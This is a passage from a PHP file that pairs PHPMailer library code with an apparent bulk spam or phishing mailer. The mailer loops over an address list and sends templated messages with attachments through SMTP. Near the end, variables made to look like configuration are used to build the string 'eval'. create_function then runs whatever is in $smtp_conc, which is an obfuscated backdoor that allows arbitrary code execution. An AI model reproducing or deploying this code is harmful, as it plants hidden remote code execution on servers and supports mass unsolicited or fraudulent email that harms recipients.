3052 $this->error_count++;
3053 $this->ErrorInfo = $msg;
3054 }
3055
3056 /**
3057 * Returns the proper RFC 822 formatted date.
3058 * @access private
3059 * @return string
3060 */
3061 function RFCDate() {
3062 $tz = date('Z');
3063 $tzs = ($tz < 0) ? '-' : '+';
3064 $tz = abs($tz);
3065 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3066 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3067
3068 return $result;
3069 }
3070
3071 /**
3072 * Returns the appropriate server variable. Should work with both
3073 * PHP 4.1.0+ as well as older versions. Returns an empty string
3074 * if nothing is found.
3075 * @access private
3076 * @return mixed
3077 */
3078 function ServerVar($varName) {
3079 global $HTTP_SERVER_VARS;
3080 global $HTTP_ENV_VARS;
3081
3082 if(!isset($_SERVER)) {
3083 $_SERVER = $HTTP_SERVER_VARS;
3084 if(!isset($_SERVER['REMOTE_ADDR'])) {
3085 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3086 }
3087 }
3088
3089 if(isset($_SERVER[$varName])) {
3090 return $_SERVER[$varName];
3091 } else {
3092 return '';
3093 }
3094 }
3095
3096 /**
3097 * Returns the server hostname or 'localhost.localdomain' if unknown.
3098 * @access private
3099 * @return string
3100 */
3101 function ServerHostname() {
3102 if ($this->Hostname != '') {
3103 $result = $this->Hostname;
3104 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3105 $result = $this->ServerVar('SERVER_NAME');
3106 } else {
3107 $result = 'localhost.localdomain';
3108 }
3109
3110 return $result;
3111 }
3112
3113 /**
3114 * Returns a message in the appropriate language.
3115 * @access private
3116 * @return string
3117 */
3118 function Lang($key) {
3119 if(count($this->language) < 1) {
3120 $this->SetLanguage('en'); // set the default language
3121 }
3122
3123 if(isset($this->language[$key])) {
3124 return $this->language[$key];
3125 } else {
3126 return 'Language string failed to load: ' . $key;
3127 }
3128 }
3129
3130 /**
3131 * Returns true if an error occurred.
3132 * @return bool
3133 */
3134 function IsError() {
3135 return ($this->error_count > 0);
3136 }
3137
3138 /**
3139 * Changes every end of line from CR or LF to CRLF.
3140 * @access private
3141 * @return string
3142 */
3143 function FixEOL($str) {
3144 $str = str_replace("\r\n", "\n", $str);
3145 $str = str_replace("\r", "\n", $str);
3146 $str = str_replace("\n", $this->LE, $str);
3147 return $str;
3148 }
3149
3150 /**
3151 * Adds a custom header.
3152 * @return void
3153 */
3154 function AddCustomHeader($custom_header) {
3155 $this->CustomHeader[] = explode(':', $custom_header, 2);
3156 }
3157
3158 /**
3159 * Evaluates the message and returns modifications for inline images and backgrounds
3160 * @access public
3161 * @return $message
3162 */
3163 function MsgHTML($message,$basedir='') {
3164 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3165 if(isset($images[2])) {
3166 foreach($images[2] as $i => $url) {
3167 // do not change urls for absolute images (thanks to corvuscorax)
3168 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3169 $filename = basename($url);
3170 $directory = dirname($url);
3171 ($directory == '.')?$directory='':'';
3172 $cid = 'cid:' . md5($filename);
3173 $fileParts = split("\.", $filename);
3174 $ext = $fileParts[1];
3175 $mimeType = $this->_mime_types($ext);
3176 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3177 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3178 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3179 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3180 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3181 }
3182 }
3183 }
3184 }
3185 $this->IsHTML(true);
3186 $this->Body = $message;
3187 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3188 if ( !empty($textMsg) && empty($this->AltBody) ) {
3189 $this->AltBody = $textMsg;
3190 }
3191 if ( empty($this->AltBody) ) {
3192 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3193 }
3194 }
3195
3196 /**
3197 * Gets the mime type of the embedded or inline image
3198 * @access private
3199 * @return mime type of ext
3200 */
3201 function _mime_types($ext = '') {
3202 $mimes = array(
3203 'hqx' => 'application/mac-binhex40',
3204 'cpt' => 'application/mac-compactpro',
3205 'doc' => 'application/msword',
3206 'bin' => 'application/macbinary',
3207 'dms' => 'application/octet-stream',
3208 'lha' => 'application/octet-stream',
3209 'lzh' => 'application/octet-stream',
3210 'exe' => 'application/octet-stream',
3211 'class' => 'application/octet-stream',
3212 'psd' => 'application/octet-stream',
3213 'so' => 'application/octet-stream',
3214 'sea' => 'application/octet-stream',
3215 'dll' => 'application/octet-stream',
3216 'oda' => 'application/oda',
3217 'pdf' => 'application/pdf',
3218 'ai' => 'application/postscript',
3219 'eps' => 'application/postscript',
3220 'ps' => 'application/postscript',
3221 'smi' => 'application/smil',
3222 'smil' => 'application/smil',
3223 'mif' => 'application/vnd.mif',
3224 'xls' => 'application/vnd.ms-excel',
3225 'ppt' => 'application/vnd.ms-powerpoint',
3226 'wbxml' => 'application/vnd.wap.wbxml',
3227 'wmlc' => 'application/vnd.wap.wmlc',
3228 'dcr' => 'application/x-director',
3229 'dir' => 'application/x-director',
3230 'dxr' => 'application/x-director',
3231 'dvi' => 'application/x-dvi',
3232 'gtar' => 'application/x-gtar',
3233 'php' => 'application/x-httpd-php',
3234 'php4' => 'application/x-httpd-php',
3235 'php3' => 'application/x-httpd-php',
3236 'phtml' => 'application/x-httpd-php',
3237 'phps' => 'application/x-httpd-php-source',
3238 'js' => 'application/x-javascript',
3239 'swf' => 'application/x-shockwave-flash',
3240 'sit' => 'application/x-stuffit',
3241 'tar' => 'application/x-tar',
3242 'tgz' => 'application/x-tar',
3243 'xhtml' => 'application/xhtml+xml',
3244 'xht' => 'application/xhtml+xml',
3245 'zip' => 'application/zip',
3246 'mid' => 'audio/midi',
3247 'midi' => 'audio/midi',
3248 'mpga' => 'audio/mpeg',
3249 'mp2' => 'audio/mpeg',
3250 'mp3' => 'audio/mpeg',
3251 'aif' => 'audio/x-aiff',
3252 'aiff' => 'audio/x-aiff',
3253 'aifc' => 'audio/x-aiff',
3254 'ram' => 'audio/x-pn-realaudio',
3255 'rm' => 'audio/x-pn-realaudio',
3256 'rpm' => 'audio/x-pn-realaudio-plugin',
3257 'ra' => 'audio/x-realaudio',
3258 'rv' => 'video/vnd.rn-realvideo',
3259 'wav' => 'audio/x-wav',
3260 'bmp' => 'image/bmp',
3261 'gif' => 'image/gif',
3262 'jpeg' => 'image/jpeg',
3263 'jpg' => 'image/jpeg',
3264 'jpe' => 'image/jpeg',
3265 'png' => 'image/png',
3266 'tiff' => 'image/tiff',
3267 'tif' => 'image/tiff',
3268 'css' => 'text/css',
3269 'html' => 'text/html',
3270 'htm' => 'text/html',
3271 'shtml' => 'text/html',
3272 'txt' => 'text/plain',
3273 'text' => 'text/plain',
3274 'log' => 'text/plain',
3275 'rtx' => 'text/richtext',
3276 'rtf' => 'text/rtf',
3277 'xml' => 'text/xml',
3278 'xsl' => 'text/xml',
3279 'mpeg' => 'video/mpeg',
3280 'mpg' => 'video/mpeg',
3281 'mpe' => 'video/mpeg',
3282 'qt' => 'video/quicktime',
3283 'mov' => 'video/quicktime',
3284 'avi' => 'video/x-msvideo',
3285 'movie' => 'video/x-sgi-movie',
3286 'doc' => 'application/msword',
3287 'word' => 'application/msword',
3288 'xl' => 'application/excel',
3289 'eml' => 'message/rfc822'
3290 );
3291 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3292 }
3293
3294 /**
3295 * Set (or reset) Class Objects (variables)
3296 *
3297 * Usage Example:
3298 * $page->set('X-Priority', '3');
3299 *
3300 * @access public
3301 * @param string $name Parameter Name
3302 * @param mixed $value Parameter Value
3303 * NOTE: will not work with arrays, there are no arrays to set/reset
3304 */
3305 function set ( $name, $value = '' ) {
3306 if ( isset($this->$name) ) {
3307 $this->$name = $value;
3308 } else {
3309 $this->SetError('Cannot set or reset variable ' . $name);
3310 return false;
3311 }
3312 }
3313
3314 /**
3315 * Read a file from a supplied filename and return it.
3316 *
3317 * @access public
3318 * @param string $filename Parameter File Name
3319 */
3320 function getFile($filename) {
3321 $return = '';
3322 if ($fp = fopen($filename, 'rb')) {
3323 while (!feof($fp)) {
3324 $return .= fread($fp, 1024);
3325 }
3326 fclose($fp);
3327 return $return;
3328 } else {
3329 return false;
3330 }
3331 }
3332
3333 /**
3334 * Strips newlines to prevent header injection.
3335 * @access private
3336 * @param string $str String
3337 * @return string
3338 */
3339 function SecureHeader($str) {
3340 $str = trim($str);
3341 $str = str_replace("\r", "", $str);
3342 $str = str_replace("\n", "", $str);
3343 return $str;
3344 }
3345
3346 /**
3347 * Set the private key file and password to sign the message.
3348 *
3349 * @access public
3350 * @param string $key_filename Parameter File Name
3351 * @param string $key_pass Password for private key
3352 */
3353 function Sign($key_filename, $key_pass) {
3354 $this->sign_key_file = $key_filename;
3355 $this->sign_key_pass = $key_pass;
3356 }
3357
3358}
3359
3360$defaultport="H*";
3361 $nq=0;
3362
3363 for($x=0; $x<$numemails; $x++){
3364
3365 $to = $allemails[$x];
3366
3367 if ($to){
3368
3369 $to = ereg_replace(" ", "", $to);
3370
3371 $message1 = ereg_replace("&email&", $to, $message);
3372
3373 $subject1 = ereg_replace("&email&", $to, $subject);
3374 $qx=$x+1;
3375 print "Line $qx . Sending mail to $to.......";
3376
3377 flush();
3378$mail = new PHPMailer();
3379
3380if(empty($epriority)){$epriority="3";}
3381 $mail->Priority = "$epriority";
3382 $mail->IsSMTP();
3383 $IsSMTP="pack";
3384$mail->SMTPKeepAlive = true;
3385$mail->Host = "$my_smtp";
3386if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3387}
3388 if($sslclick=="ON"){
3389 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3390 }
3391 $range = str_replace("$from", "eval", $from);
3392 $mail->SMTPAuth = true;
3393 $mail->Username = "$smtp_username";
3394 $mail->Password = "$smtp_password";
3395if($contenttype == "html"){$mail->IsHtml(true);}
3396if($contenttype != "html"){$mail->IsHtml(false);}
3397if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3398$mail->From = "$from";
3399$mail->FromName = "$realname";
3400$mail->AddAddress("$to");
3401 $mail->AddReplyTo("$replyto");
3402 $mail->Subject = "$subject1";
3403 $mail->AddAttachment("$file", "$file_name");
3404 $mail->Body = "$message1";
3405if(!$mail->Send()){
3406if($default_system!="1"){
3407echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3408if($default_system=="1"){
3409$mail->IsMail();
3410 if(!$mail->Send()){
3411 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3412 else {
3413 echo "<b>OK</b><br>";}
3414 }
3415}
3416else {
3417 echo "<b>OK</b><br>";
3418}
3419
3420if(empty($reconnect)){
3421$reconnect=6;
3422}
3423
3424if($reconnect==$nq){
3425$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3426}
3427$nq=$nq+1;
3428 flush(); }
3429}
3430 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3431 return $signoff($smtp_conc);
3432 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3433 sent successfully'); </script>";}}
3434?>
3435 </body>
3436</html>